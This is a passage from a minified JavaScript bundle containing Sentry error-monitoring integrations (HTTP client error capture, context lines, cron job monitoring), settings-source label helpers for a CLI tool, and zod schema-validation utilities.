A.module||A.function?`${A.module||"?"}/${A.function||"?"}`:"<unknown>"}ok8.Transaction=h65});var zC8=v((YC8)=>{Object.defineProperty(YC8,"__esModule",{value:!0});var $F=sq(),vb=H8(),KeA=ovA(),sk8="HttpClient",B65=(A={})=>{let K={failedRequestStatusCodes:[[500,599]],failedRequestTargets:[/.*/],...A};return{name:sk8,setupOnce(){},setup(q){l65(q,K),i65(q,K)}}},tk8=$F.defineIntegration(B65),m65=$F.convertIntegrationFnToClass(sk8,tk8);function g65(A,K,q,Y){if(AC8(A,q.status,q.url)){let z=n65(K,Y),w,H,J,O;if(qC8())[{headers:w,cookies:J},{headers:H,cookies:O}]=[{cookieHeader:"Cookie",obj:z},{cookieHeader:"Set-Cookie",obj:q}].map(({cookieHeader:$,obj:_})=>{let G=U65(_.headers),Z;try{let W=G[$]||G[$.toLowerCase()]||void 0;if(W)Z=ek8(W)}catch(W){KeA.DEBUG_BUILD&&vb.logger.log(`Could not extract cookies from header ${$}`)}return{headers:G,cookies:Z}});let X=KC8({url:z.url,method:z.method,status:q.status,requestHeaders:w,responseHeaders:H,requestCookies:J,responseCookies:O});$F.captureEvent(X)}}function F65(A,K,q,Y){if(AC8(A,K.status,K.responseURL)){let z,w,H;if(qC8()){try{let O=K.getResponseHeader("Set-Cookie")||K.getResponseHeader("set-cookie")||void 0;if(O)w=ek8(O)}catch(O){KeA.DEBUG_BUILD&&vb.logger.log("Could not extract cookies from response headers")}try{H=p65(K)}catch(O){KeA.DEBUG_BUILD&&vb.logger.log("Could not extract headers from response")}z=Y}let J=KC8({url:K.responseURL,method:q,status:K.status,requestHeaders:z,responseHeaders:H,responseCookies:w});$F.captureEvent(J)}}function Q65(A){if(A){let K=A["Content-Length"]||A["content-length"];if(K)return parseInt(K,10)}return}function ek8(A){return A.split("; ").reduce((K,q)=>{let[Y,z]=q.split("=");return K[Y]=z,K},{})}function U65(A){let K={};return A.forEach((q,Y)=>{K[Y]=q}),K}function p65(A){let K=A.getAllResponseHeaders();if(!K)return{};return K.split(`\r `).reduce((q,Y)=>{let[z,w]=Y.split(": ");return q[z]=w,q},{})}function d65(A,K){return A.some((q)=>{if(typeof q==="string")return K.includes(q);return q.test(K)})}function c65(A,K){return A.some((q)=>{if(typeof q==="number")return q===K;return K>=q[0]&&K<=q[1]})}function l65(A,K){if(!vb.supportsNativeFetch())return;vb.addFetchInstrumentationHandler((q)=>{if($F.getClient()!==A)return;let{response:Y,args:z}=q,[w,H]=z;if(!Y)return;g65(K,w,Y,H)})}function i65(A,K){if(!("XMLHttpRequest"in vb.GLOBAL_OBJ))return;vb.addXhrInstrumentationHandler((q)=>{if($F.getClient()!==A)return;let Y=q.xhr,z=Y[vb.SENTRY_XHR_DATA_KEY];if(!z)return;let{method:w,request_headers:H}=z;try{F65(K,Y,w,H)}catch(J){KeA.DEBUG_BUILD&&vb.logger.warn("Error while extracting response event form XHR response",J)}})}function AC8(A,K,q){return c65(A.failedRequestStatusCodes,K)&&d65(A.failedRequestTargets,q)&&!$F.isSentryRequestUrl(q,$F.getClient())}function KC8(A){let K=`HTTP Client Error with status code: ${A.status}`,q={message:K,exception:{values:[{type:"Error",value:K}]},request:{url:A.url,method:A.method,headers:A.requestHeaders,cookies:A.requestCookies},contexts:{response:{status_code:A.status,headers:A.responseHeaders,cookies:A.responseCookies,body_size:Q65(A.responseHeaders)}}};return vb.addExceptionMechanism(q,{type:"http.client",handled:!1}),q}function n65(A,K){if(!K&&A instanceof Request)return A;if(A instanceof Request&&A.bodyUsed)return A;return new Request(A,K)}function qC8(){let A=$F.getClient();return A?Boolean(A.getOptions().sendDefaultPii):!1}YC8.HttpClient=m65;YC8.httpClientIntegration=tk8});var $C8=v((XC8)=>{Object.defineProperty(XC8,"__esModule",{value:!0});var wC8=sq(),rm1=H8(),nm1=rm1.GLOBAL_OBJ,a65=7,HC8="ContextLines",s65=(A={})=>{let K=A.frameContextLines!=null?A.frameContextLines:a65;return{name:HC8,setupOnce(){},processEvent(q){return e65(q,K)}}},JC8=wC8.defineIntegration(s65),t65=wC8.convertIntegrationFnToClass(HC8,JC8);function e65(A,K){let q=nm1.document,Y=nm1.location&&rm1.stripUrlQueryAndFragment(nm1.location.href);if(!q||!Y)return A;let z=A.exception&&A.exception.values;if(!z||!z.length)return A;let w=q.documentElement.innerHTML;if(!w)return A;let H=["<!DOCTYPE html>","<html>",...w.split(` `),"</html>"];return z.forEach((J)=>{let O=J.stacktrace;if(O&&O.frames)O.frames=O.frames.map((X)=>OC8(X,H,Y,K))}),A}function OC8(A,K,q,Y){if(A.filename!==q||!A.lineno||!K.length)return A;return rm1.addContextToFrame(K,A,Y),A}XC8.ContextLines=t65;XC8.applySourceContextToFrame=OC8;XC8.contextLinesIntegration=JC8});var NC8=v((fC8)=>{Object.defineProperty(fC8,"__esModule",{value:!0});var _C8=wk8(),GC8=$k8(),ZC8=Nk8(),WC8=Ck8(),Y85=Ik8(),DC8=Bk8(),jC8=pk8(),MC8=nk8(),z85=ak8(),PC8=zC8(),VC8=$C8();fC8.CaptureConsole=_C8.CaptureConsole;fC8.captureConsoleIntegration=_C8.captureConsoleIntegration;fC8.Debug=GC8.Debug;fC8.debugIntegration=GC8.debugIntegration;fC8.Dedupe=ZC8.Dedupe;fC8.dedupeIntegration=ZC8.dedupeIntegration;fC8.ExtraErrorData=WC8.ExtraErrorData;fC8.extraErrorDataIntegration=WC8.extraErrorDataIntegration;fC8.Offline=Y85.Offline;fC8.ReportingObserver=DC8.ReportingObserver;fC8.reportingObserverIntegration=DC8.reportingObserverIntegration;fC8.RewriteFrames=jC8.RewriteFrames;fC8.rewriteFramesIntegration=jC8.rewriteFramesIntegration;fC8.SessionTiming=MC8.SessionTiming;fC8.sessionTimingIntegration=MC8.sessionTimingIntegration;fC8.Transaction=z85.Transaction;fC8.HttpClient=PC8.HttpClient;fC8.httpClientIntegration=PC8.httpClientIntegration;fC8.ContextLines=VC8.ContextLines;fC8.contextLinesIntegration=VC8.contextLinesIntegration});var qeA=v((TC8)=>{Object.defineProperty(TC8,"__esModule",{value:!0});var k85=[["january","1"],["february","2"],["march","3"],["april","4"],["may","5"],["june","6"],["july","7"],["august","8"],["september","9"],["october","10"],["november","11"],["december","12"],["jan","1"],["feb","2"],["mar","3"],["apr","4"],["may","5"],["jun","6"],["jul","7"],["aug","8"],["sep","9"],["oct","10"],["nov","11"],["dec","12"],["sunday","0"],["monday","1"],["tuesday","2"],["wednesday","3"],["thursday","4"],["friday","5"],["saturday","6"],["sun","0"],["mon","1"],["tue","2"],["wed","3"],["thu","4"],["fri","5"],["sat","6"]];function C85(A){return k85.reduce((K,[q,Y])=>K.replace(new RegExp(q,"gi"),Y),A)}TC8.replaceCronNames=C85});var LC8=v((CC8)=>{Object.defineProperty(CC8,"__esModule",{value:!0});var vC8=sq(),EC8=qeA(),kC8="Automatic instrumentation of CronJob only supports crontab string";function R85(A,K){let q=!1;return new Proxy(A,{construct(Y,z){let[w,H,J,O,X,...$]=z;if(typeof w!=="string")throw Error(kC8);if(q)throw Error(`A job named '${K}' has already been scheduled`);q=!0;let _=EC8.replaceCronNames(w);function G(Z,W){return vC8.withMonitor(K,()=>{return H(Z,W)},{schedule:{type:"crontab",value:_},timezone:X||void 0})}return new Y(w,G,J,O,X,...$)},get(Y,z){if(z==="from")return(w)=>{let{cronTime:H,onTick:J,timeZone:O}=w;if(typeof H!=="string")throw Error(kC8);if(q)throw Error(`A job named '${K}' has already been scheduled`);q=!0;let X=EC8.replaceCronNames(H);return w.onTick=($,_)=>{return vC8.withMonitor(K,()=>{return J($,_)},{schedule:{type:"crontab",value:X},timezone:O||void 0})},Y.from(w)};else return Y[z]}})}CC8.instrumentCron=R85});var IC8=v((yC8)=>{var{_optionalChain:RC8}=H8();Object.defineProperty(yC8,"__esModule",{value:!0});var I85=sq(),S85=qeA();function h85(A){return new Proxy(A,{get(K,q){if(q==="schedule"&&K.schedule)return new Proxy(K.schedule,{apply(Y,z,w){let[H,,J]=w;if(!RC8([J,"optionalAccess",(O)=>O.name]))throw Error('Missing "name" for scheduled job. A name is required for Sentry check-in monitoring.');return I85.withMonitor(J.name,()=>{return Y.apply(z,w)},{schedule:{type:"crontab",value:S85.replaceCronNames(H)},timezone:RC8([J,"optionalAccess",(O)=>O.timezone])})}});else return K[q]}})}yC8.instrumentNodeCron=h85});var hC8=v((SC8)=>{Object.defineProperty(SC8,"__esModule",{value:!0});var x85=sq(),u85=qeA();function B85(A){return new Proxy(A,{get(K,q){if(q==="scheduleJob")return new Proxy(K.scheduleJob,{apply(Y,z,w){let[H,J]=w;if(typeof H!=="string"||typeof J!=="string")throw Error("Automatic instrumentation of 'node-schedule' requires the first parameter of 'scheduleJob' to be a job name string and the second parameter to be a crontab string");let O=H,X=J;return x85.withMonitor(O,()=>{return Y.apply(z,w)},{schedule:{type:"crontab",value:u85.replaceCronNames(X)}})}});return K[q]}})}SC8.instrumentNodeSchedule=B85});var _F=v((mC8)=>{Object.defineProperty(mC8,"__esModule",{value:!0});var d7=sq(),g85=gT8(),F85=Em1(),Q85=Lm1(),tvA=Qm1(),om1=H8(),U85=LE8(),bC8=Fm1(),p85=uE8(),d85=cE8(),c85=eE8(),l85=Kk8(),Vi=NC8(),i85=btA(),n85=ctA(),r85=itA(),o85=UtA(),a85=BtA(),s85=xtA(),t85=QtA(),e85=ntA(),A45=ttA(),xC8=lm1(),uC8=otA(),BC8=mtA(),K45=cm1(),q45=LC8(),Y45=IC8(),z45=hC8(),w45=bC8.createGetModuleFromFilename(),H45={...d7.Integrations,...c85,...l85},J45={instrumentCron:q45.instrumentCron,instrumentNodeCron:Y45.instrumentNodeCron,instrumentNodeSchedule:z45.instrumentNodeSchedule};mC8.Hub=d7.Hub;mC8.SDK_VERSION=d7.SDK_VERSION;mC8.SEMANTIC_ATTRIBUTE_SENTRY_OP=d7.SEMANTIC_ATTRIBUTE_SENTRY_OP;mC8.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN=d7.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN;mC8.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE=d7.SEMANTIC_ATTRIBUTE_SENTRY_SAMPLE_RATE;mC8.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE=d7.SEMANTIC_ATTRIBUTE_SENTRY_SOURCE;mC8.Scope=d7.Scope;mC8.addBreadcrumb=d7.addBreadcrumb;mC8.addEventProcessor=d7.addEventProcessor;mC8.addGlobalEventProcessor=d7.addGlobalEventProcessor;mC8.addIntegration=d7.addIntegration;mC8.captureCheckIn=d7.captureCheckIn;mC8.captureEvent=d7.captureEvent;mC8.captureException=d7.captureException;mC8.captureMessage=d7.captureMessage;mC8.captureSession=d7.captureSession;mC8.close=d7.close;mC8.configureScope=d7.configureScope;mC8.continueTrace=d7.continueTrace;mC8.createTransport=d7.createTransport;mC8.endSession=d7.endSession;mC8.extractTraceparentData=d7.extractTraceparentData;mC8.flush=d7.flush;mC8.functionToStringIntegration=d7.functionToStringIntegration;mC8.getActiveSpan=d7.getActiveSpan;mC8.getActiveTransaction=d7.getActiveTransaction;mC8.getClient=d7.getClient;mC8.getCurrentHub=d7.getCurrentHub;mC8.getCurrentScope=d7.getCurrentScope;mC8.getGlobalScope=d7.getGlobalScope;mC8.getHubFromCarrier=d7.getHubFromCarrier;mC8.getIsolationScope=d7.getIsolationScope;mC8.getSpanStatusFromHttpCode=d7.getSpanStatusFromHttpCode;mC8.inboundFiltersIntegration=d7.inboundFiltersIntegration;mC8.isInitialized=d7.isInitialized;mC8.lastEventId=d7.lastEventId;mC8.linkedErrorsIntegration=d7.linkedErrorsIntegration;mC8.makeMain=d7.makeMain;mC8.metrics=d7.metrics;mC8.parameterize=d7.parameterize;mC8.requestDataIntegration=d7.requestDataIntegration;mC8.runWithAsyncContext=d7.runWithAsyncContext;mC8.setContext=d7.setContext;mC8.setCurrentClient=d7.setCurrentClient;mC8.setExtra=d7.setExtra;mC8.setExtras=d7.setExtras;mC8.setHttpStatus=d7.setHttpStatus;mC8.setMeasurement=d7.setMeasurement;mC8.setTag=d7.setTag;mC8.setTags=d7.setTags;mC8.setUser=d7.setUser;mC8.spanStatusfromHttpCode=d7.spanStatusfromHttpCode;mC8.startActiveSpan=d7.startActiveSpan;mC8.startInactiveSpan=d7.startInactiveSpan;mC8.startSession=d7.startSession;mC8.startSpan=d7.startSpan;mC8.startSpanManual=d7.startSpanManual;mC8.startTransaction=d7.startTransaction;mC8.trace=d7.trace;mC8.withActiveSpan=d7.withActiveSpan;mC8.withIsolationScope=d7.withIsolationScope;mC8.withMonitor=d7.withMonitor;mC8.withScope=d7.withScope;mC8.autoDiscoverNodePerformanceMonitoringIntegrations=g85.autoDiscoverNodePerformanceMonitoringIntegrations;mC8.NodeClient=F85.NodeClient;mC8.makeNodeTransport=Q85.makeNodeTransport;mC8.defaultIntegrations=tvA.defaultIntegrations;mC8.defaultStackParser=tvA.defaultStackParser;mC8.getDefaultIntegrations=tvA.getDefaultIntegrations;mC8.getSentryRelease=tvA.getSentryRelease;mC8.init=tvA.init;mC8.DEFAULT_USER_INCLUDES=om1.DEFAULT_USER_INCLUDES;mC8.addRequestDataToEvent=om1.addRequestDataToEvent;mC8.extractRequestData=om1.extractRequestData;mC8.deepReadDirSync=U85.deepReadDirSync;mC8.createGetModuleFromFilename=bC8.createGetModuleFromFilename;mC8.enableAnrDetection=p85.enableAnrDetection;mC8.Handlers=d85;mC8.captureConsoleIntegration=Vi.captureConsoleIntegration;mC8.debugIntegration=Vi.debugIntegration;mC8.dedupeIntegration=Vi.dedupeIntegration;mC8.extraErrorDataIntegration=Vi.extraErrorDataIntegration;mC8.httpClientIntegration=Vi.httpClientIntegration;mC8.reportingObserverIntegration=Vi.reportingObserverIntegration;mC8.rewriteFramesIntegration=Vi.rewriteFramesIntegration;mC8.sessionTimingIntegration=Vi.sessionTimingIntegration;mC8.consoleIntegration=i85.consoleIntegration;mC8.onUncaughtExceptionIntegration=n85.onUncaughtExceptionIntegration;mC8.onUnhandledRejectionIntegration=r85.onUnhandledRejectionIntegration;mC8.modulesIntegration=o85.modulesIntegration;mC8.contextLinesIntegration=a85.contextLinesIntegration;mC8.nodeContextIntegration=s85.nodeContextIntegration;mC8.localVariablesIntegration=t85.localVariablesIntegration;mC8.spotlightIntegration=e85.spotlightIntegration;mC8.anrIntegration=A45.anrIntegration;mC8.hapiErrorPlugin=xC8.hapiErrorPlugin;mC8.hapiIntegration=xC8.hapiIntegration;mC8.Undici=uC8.Undici;mC8.nativeNodeFetchintegration=uC8.nativeNodeFetchintegration;mC8.Http=BC8.Http;mC8.httpIntegration=BC8.httpIntegration;mC8.trpcMiddleware=K45.trpcMiddleware;mC8.Integrations=H45;mC8.cron=J45;mC8.getModuleFromFilename=w45});function fi(A){switch(A){case"userSettings":return"user";case"projectSettings":return"project";case"localSettings":return"project, gitignored";case"flagSettings":return"cli flag";case"policySettings":return"managed"}}function YeA(A){switch(A){case"userSettings":return"User";case"projectSettings":return"Project";case"localSettings":return"Local";case"flagSettings":return"Flag";case"policySettings":return"Managed";case"plugin":return"Plugin";case"built-in":return"Built-in"}}function zeA(A){switch(A){case"userSettings":return"user settings";case"projectSettings":return"shared project settings";case"localSettings":return"project local settings";case"flagSettings":return"command line arguments";case"policySettings":return"enterprise managed settings";case"cliArg":return"CLI argument";case"command":return"command configuration";case"session":return"current session"}}function gC8(A){switch(A){case"userSettings":return"User settings";case"projectSettings":return"Shared project settings";case"localSettings":return"Project local settings";case"flagSettings":return"Command line arguments";case"policySettings":return"Enterprise managed settings";case"cliArg":return"CLI argument";case"command":return"Command configuration";case"session":return"Current session"}}function FC8(A){if(A==="")return[];let K=A.split(",").map((Y)=>Y.trim()),q=[];for(let Y of K)switch(Y){case"user":q.push("userSettings");break;case"project":q.push("projectSettings");break;case"local":q.push("localSettings");break;default:throw Error(`Invalid setting source: ${Y}. Valid options are: user, project, local`)}return q}function Ni(){let A=fr6(),K=new Set(A);return K.add("policySettings"),K.add("flagSettings"),Array.from(K)}function t$(A){return Ni().includes(A)}var XV,QC8="https://json.schemastore.org/claude-code-settings.json";var GJ=k(()=>{q6();XV=["userSettings","projectSettings","localSettings","flagSettings","policySettings"]});function _6(A,K,q){function Y(J,O){var X;Object.defineProperty(J,"_zod",{value:J._zod??{},enumerable:!1}),(X=J._zod).traits??(X.traits=new Set),J._zod.traits.add(A),K(J,O);for(let $ in H.prototype)if(!($ in J))Object.defineProperty(J,$,{value:H.prototype[$].bind(J)});J._zod.constr=H,J._zod.def=O}let z=q?.Parent??Object;class w extends z{}Object.defineProperty(w,"name",{value:A});function H(J){var O;let X=q?.Parent?new w:this;Y(X,J),(O=X._zod).deferred??(O.deferred=[]);for(let $ of X._zod.deferred)$();return X}return Object.defineProperty(H,"init",{value:Y}),Object.defineProperty(H,Symbol.hasInstance,{value:(J)=>{if(q?.Parent&&J instanceof q.Parent)return!0;return J?._zod?.traits?.has(A)}}),Object.defineProperty(H,"name",{value:A}),H}function UX(A){if(A)Object.assign(evA,A);return evA}var AEA,am1,GF,evA;var xHA=k(()=>{AEA=Object.freeze({status:"aborted"});am1=Symbol("zod_brand");GF=class GF extends Error{constructor(){super("Encountered Promise during synchronous parse. Use .parseAsync() instead.")}};evA={}});var h4={};_q(h4,{unwrapMessage:()=>KEA,stringifyPrimitive:()=>B4,required:()=>NK5,randomString:()=>GK5,propertyKeyTypes:()=>wEA,promiseAllObject:()=>_K5,primitiveTypes:()=>qg1,prefixIssues:()=>$V,pick:()=>jK5,partial:()=>fK5,optionalKeys:()=>Yg1,omit:()=>MK5,numKeys:()=>ZK5,nullish:()=>Ti,normalizeParams:()=>M4,merge:()=>VK5,jsonStringifyReplacer:()=>tm1,joinValues:()=>z8,issue:()=>Hg1,isPlainObject:()=>BHA,isObject:()=>uHA,getSizableOrigin:()=>HEA,getParsedType:()=>WK5,getLengthableOrigin:()=>JEA,getEnumValues:()=>qEA,getElementAtPath:()=>$K5,floatSafeRemainder:()=>em1,finalizeIssue:()=>nN,extend:()=>PK5,escapeRegex:()=>ZF,esc:()=>W6A,defineLazy:()=>X2,createTransparentProxy:()=>DK5,clone:()=>iN,cleanRegex:()=>zEA,cleanEnum:()=>TK5,captureStackTrace:()=>weA,cached:()=>YEA,assignProp:()=>Ag1,assertNotEqual:()=>HK5,assertNever:()=>OK5,assertIs:()=>JK5,assertEqual:()=>wK5,assert:()=>XK5,allowsEval:()=>Kg1,aborted:()=>D6A,NUMBER_FORMAT_RANGES:()=>zg1,Class:()=>UC8,BIGINT_FORMAT_RANGES:()=>wg1});function wK5(A){return A}function HK5(A){return A}function JK5(A){}function OK5(A){throw Error()}function XK5(A){}function qEA(A){let K=Object.values(A).filter((Y)=>typeof Y==="number");return Object.entries(A).filter(([Y,z])=>K.indexOf(+Y)===-1).map(([Y,z])=>z)}function z8(A,K="|"){return A.map((q)=>B4(q)).join(K)}function tm1(A,K){if(typeof K==="bigint")return K.toString();return K}function YEA(A){return{get value(){{let q=A();return Object.defineProperty(this,"value",{value:q}),q}throw Error("cached value already set")}}}function Ti(A){return A===null||A===void 0}function zEA(A){let K=A.startsWith("^")?1:0,q=A.endsWith("$")?A.length-1:A.length;return A.slice(K,q)}function em1(A,K){let q=(A.toString().split(".")[1]||"").length,Y=(K.toString().split(".")[1]||"").length,z=q>Y?q:Y,w=Number.parseInt(A.toFixed(z).replace(".","")),H=Number.parseInt(K.toFixed(z).replace(".",""));return w%H/10**z}function X2(A,K,q){Object.defineProperty(A,K,{get(){{let z=q();return A[K]=z,z}throw Error("cached value already set")},set(z){Object.defineProperty(A,K,{value:z})},configurable:!0})}function Ag1(A,K,q){Object.defineProperty(A,K,{value:q,writable:!0,enumerable:!0,configurable:!0})}function $K5(A,K){if(!K)return A;return K.reduce((q,Y)=>q?.[Y],A)}function _K5(A){let K=Object.keys(A),q=K.map((Y)=>A[Y]);return Promise.all(q).then((Y)=>{let z={};for(let w=0;w<K.length;w++)z[K[w]]=Y[w];return z})}function GK5(A=10){let q="";for(let Y=0;Y<A;Y++)q+="abcdefghijklmnopqrstuvwxyz"[Math.floor(Math.random()*26)];return q}function W6A(A){return JSON.stringify(A)}function uHA(A){return typeof A==="object"&&A!==null&&!Array.isArray(A)}function BHA(A){if(uHA(A)===!1)return!1;let K=A.constructor;if(K===void 0)return!0;let q=K.prototype;if(uHA(q)===!1)return!1;if(Object.prototype.hasOwnProperty.call(q,"isPrototypeOf")===!1)return!1;return!0}function ZK5(A){let K=0;for(let q in A)if(Object.prototype.hasOwnProperty.call(A,q))K++;return K}function ZF(A){return A.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function iN(A,K,q){let Y=new A._zod.constr(K??A._zod.def);if(!K||q?.parent)Y._zod.parent=A;return Y}function M4(A){let K=A;if(!K)return{};if(typeof K==="string")return{error:()=>K};if(K?.message!==void 0){if(K?.error!==void 0)throw Error("Cannot specify both `message` and `error` params");K.error=K.message}if(delete K.message,typeof K.error==="string")return{...K,error:()=>K.error};return K}function DK5(A){let K;return new Proxy({},{get(q,Y,z){return K??(K=A()),Reflect.get(K,Y,z)},set(q,Y,z,w){return K??(K=A()),Reflect.set(K,Y,z,w)},has(q,Y){return K??(K=A()),Reflect.has(K,Y)},deleteProperty(q,Y){return K??(K=A()),Reflect.deleteProperty(K,Y)},ownKeys(q){return K??(K=A()),Reflect.ownKeys(K)},getOwnPropertyDescriptor(q,Y){return K??(K=A()),Reflect.getOwnPropertyDescriptor(K,Y)},defineProperty(q,Y,z){return K??(K=A()),Reflect.defineProperty(K,Y,z)}})}function B4(A){if(typeof A==="bigint")return A.toString()+"n";if(typeof A==="string")return`"${A}"`;return`${A}`}function Yg1(A){return Object.keys(A).filter((K)=>{return A[K]._zod.optin==="optional"&&A[K]._zod.optout==="optional"})}function jK5(A,K){let q={},Y=A._zod.def;for(let z in K){if(!(z in Y.shape))throw Error(`Unrecognized key: "${z}"`);if(!K[z])continue;q[z]=Y.shape[z]}return iN(A,{...A._zod.def,shape:q,checks:[]})}function MK5(A,K){let q={...A._zod.def.shape},Y=A._zod.def;for(let z in K){if(!(z in Y.shape))throw Error(`Unrecognized key: "${z}"`);if(!K[z])continue;delete q[z]}return iN(A,{...A._zod.def,shape:q,checks:[]})}function PK5(A,K){if(!BHA(K))throw Error("Invalid input to extend: expected a plain object");let q={...A._zod.def,get shape(){let Y={...A._zod.def.shape,...K};return Ag1(this,"shape",Y),Y},checks:[]};return iN(A,q)}function VK5(A,K){return iN(A,{...A._zod.def,get shape(){let q={...A._zod.def.shape,...K._zod.def.shape};return Ag1(this,"shape",q),q},catchall:K._zod.def.catchall,checks:[]})}function fK5(A,K,q){let Y=K._zod.def.shape,z={...Y};if(q)for(let w in q){if(!(w in Y))throw Error(`Unrecognized key: "${w}"`);if(!q[w])continue;z[w]=A?new A({type:"optional",innerType:Y[w]}):Y[w]}else for(let w in Y)z[w]=A?new A({type:"optional",innerType:Y[w]}):Y[w];return iN(K,{...K._zod.def,shape:z,checks:[]})}function NK5(A,K,q){let Y=K._zod.def.shape,z={...Y};if(q)for(let w in q){if(!(w in z))throw Error(`Unrecognized key: "${w}"`);if(!q[w])continue;z[w]=new A({type:"nonoptional",innerType:Y[w]})}else for(let w in Y)z[w]=new A({type:"nonoptional",innerType:Y[w]});return iN(K,{...K._zod.def,shape:z,checks:[]})}function D6A(A,K=0){for(let q=K;q<A.issues.length;q++)if(A.issues[q]?.continue!==!0)return!0;return!1}function $V(A,K){return K.map((q)=>{var Y;return(Y=q).path??(Y.path=[]),q.path.unshift(A),q})}function KEA(A){return typeof A==="string"?A:A?.message}function nN(A,K,q){let Y={...A,path:A.path??[]};if(!A.message){let z=KEA(A.inst?._zod.def?.error?.(A))??KEA(K?.error?.(A))??KEA(q.customError?.(A))??KEA(q.localeError?.(A))??"Invalid input";Y.message=z}if(delete Y.inst,delete Y.continue,!K?.reportInput)delete Y.input;return Y}function HEA(A){if(A instanceof Set)return"set";if(A instanceof Map)return"map";if(A instanceof File)return"file";return"unknown"}function JEA(A){if(Array.isArray(A))return"array";if(typeof A==="string")return"string";return"unknown"}function Hg1(...A){let[K,q,Y]=A;if(typeof K==="string")return{message:K,code:"custom",input:q,inst:Y};return{...K}}function TK5(A){return Object.entries(A).filter(([K,q])=>{return Number.isNaN(Number.parseInt(K,10))}).map((K)=>K[1])}class UC8{constructor(...A){}}var weA,Kg1,WK5=(A)=>{let K=typeof A;switch(K){case"undefined":return"undefined";case"string":return"string";case"number":return Number.isNaN(A)?"nan":"number";case"boolean":return"boolean";case"function":return"function";case"bigint":return"bigint";case"symbol":return"symbol";case"object":if(Array.isArray(A))return"array";if(A===null)return"null";if(A.then&&typeof A.then==="function"&&A.catch&&typeof A.catch==="function")return"promise";if(typeof Map<"u"&&A instanceof Map)return"map";if(typeof Set<"u"&&A instanceof Set)return"set";if(typeof Date<"u"&&A instanceof Date)return"date";if(typeof File<"u"&&A instanceof File)return"file";return"object";default:throw Error(`Unknown data type: ${K}`)}},wEA,qg1,zg1,wg1;var Qq=k(()=>{weA=Error.captureStackTrace?Error.captureStackTrace:(...A)=>{};Kg1=YEA(()=>{if(typeof navigator<"u"&&navigator?.userAgent?.includes("Cloudflare"))return!1;try{return new Function(""),!0}catch(A){return!1}});wEA=new Set(["string","number","symbol"]),qg1=new Set(["string","number","bigint","boolean","symbol","undefined"]);zg1={safeint:[Number.MIN_SAFE_INTEGER,Number.MAX_SAFE_INTEGER],int32:[-2147483648,2147483647],uint32:[0,4294967295],float32:[-340282346638528860000000000000000000000,340282346638528860000000000000000000000],float64:[-Number.MAX_VALUE,Number.MAX_VALUE]},wg1={int64:[BigInt("-9223372036854775808"),BigInt("9223372036854775807")],uint64:[BigInt(0),BigInt("18446744073709551615")]}});function XEA(A,K=(q)=>q.message){let q={},Y=[];for(let z of A.issues)if(z.path.length>0)q[z.path[0]]=q[z.path[0]]||[],q[z.path[0]].push(K(z));else Y.push(K(z));return{formErrors:Y,fieldErrors:q}}function $EA(A,K){let q=K||function(w){return w.message},Y={_errors:[]},z=(w)=>{for(let H of w.issues)if(H.code==="invalid_union"&&H.errors.length)H.errors.map((J)=>z({issues:J}));else if(H.code==="invalid_key")z({issues:H.issues});else if(H.code==="invalid_element")z({issues:H.issues});else if(H.path.length===0)Y._errors.push(q(H));else{let J=Y,O=0;while(O<H.path.length){let X=H.path[O];if(O!==H.path.length-1)J[X]=J[X]||{_errors:[]};else J[X]=J[X]||{_errors:[]},J[X]._errors.push(q(H));J=J[X],O++}}};return z(A),Y}function Jg1(A,K){let q=K||function(w){return w.message},Y={errors:[]},z=(w,H=[])=>{var J,O;for(let X of w.issues)if(X.code==="invalid_union"&&X.errors.length)X.errors.map(($)=>z({issues:$},X.path));else if(X.code==="invalid_key")z({issues:X.issues},X.path);else if(X.code==="invalid_element")z({issues:X.issues},X.path);else{let $=[...H,...X.path];if($.length===0){Y.errors.push(q(X));continue}let _=Y,G=0;while(G<$.length){let Z=$[G],W=G===$.length-1;if(typeof Z==="string")_.properties??(_.properties={}),(J=_.properties)[Z]??(J[Z]={errors:[]}),_=_.properties[Z];else _.items??(_.items=[]),(O=_.items)[Z]??(O[Z]={errors:[]}),_=_.items[Z];if(W)_.errors.push(q(X));G++}}};return z(A),Y}function dC8(A){let K=[];for(let q of A)if(typeof q==="number")K.push(`[${q}]`);else if(typeof q==="symbol")K.push(`[${JSON.stringify(String(q))}]`);else if(/[^\w$]/.test(q))K.push(`[${JSON.stringify(q)}]`);else{if(K.length)K.push(".");K.push(q)}return K.join("")}function Og1(A){let K=[],q=[...A.issues].sort((Y,z)=>Y.path.length-z.path.length);for(let Y of q)if(K.push(`✖ ${Y.message}`),Y.path?.length)K.push(` → at ${dC8(Y.path)}`);return K.join(` `)}var pC8=(A,K)=>{A.name="$ZodError",Object.defineProperty(A,"_zod",{value:A._zod,enumerable:!1}),Object.defineProperty(A,"issues",{value:K,enumerable:!1}),Object.defineProperty(A,"message",{get(){return JSON.stringify(K,tm1,2)},enumerable:!0})},OEA,mHA;var Xg1=k(()=>{xHA();Qq();OEA=_6("$ZodError",pC8),mHA=_6("$ZodError",pC8,{Parent:Error})});var HeA=(A)=>(K,q,Y,z)=>{let w=Y?Object.assign(Y,{async:!1}):{async:!1},H=K._zod.run({value:q,issues:[]},w);if(H instanceof Promise)throw new GF;if(H.issues.length){let J=new(z?.Err??A)(H.issues.map((O)=>nN(O,w,UX())));throw weA(J,z?.callee),J}return H.value},_EA,JeA=(A)=>async(K,q,Y,z)=>{let w=Y?Object.assign(Y,{async:!0}):{async:!0},H=K._zod.run({value:q,issues:[]},w);if(H instanceof Promise)H=await H;if(H.issues.length){let J=new(z?.Err??A)(H.issues.map((O)=>nN(O,w,UX())));throw weA(J,z?.callee),J}return H.value},GEA,OeA=(A)=>(K,q,Y)=>{let z=Y?{...Y,async:!1}:{async:!1},w=K._zod.run({value:q,issues:[]},z);if(w instanceof Promise)throw new GF;return w.issues.length?{success:!1,error:new(A??OEA)(w.issues.map((H)=>nN(H,z,UX())))}:{success:!0,data:w.value}},gHA,XeA=(A)=>async(K,q,Y)=>{let z=Y?Object.assign(Y,{async:!0}):{async:!0},w=K._zod.run({value:q,issues:[]},z);if(w instanceof Promise)w=await w;return w.issues.length?{success:!1,error:new A(w.issues.map((H)=>nN(H,z,UX())))}:{success:!0,data:w.value}},ZEA;var $eA=k(()=>{xHA();Xg1();Qq();_EA=HeA(mHA),GEA=JeA(mHA),gHA=OeA(mHA),ZEA=XeA(mHA)});var 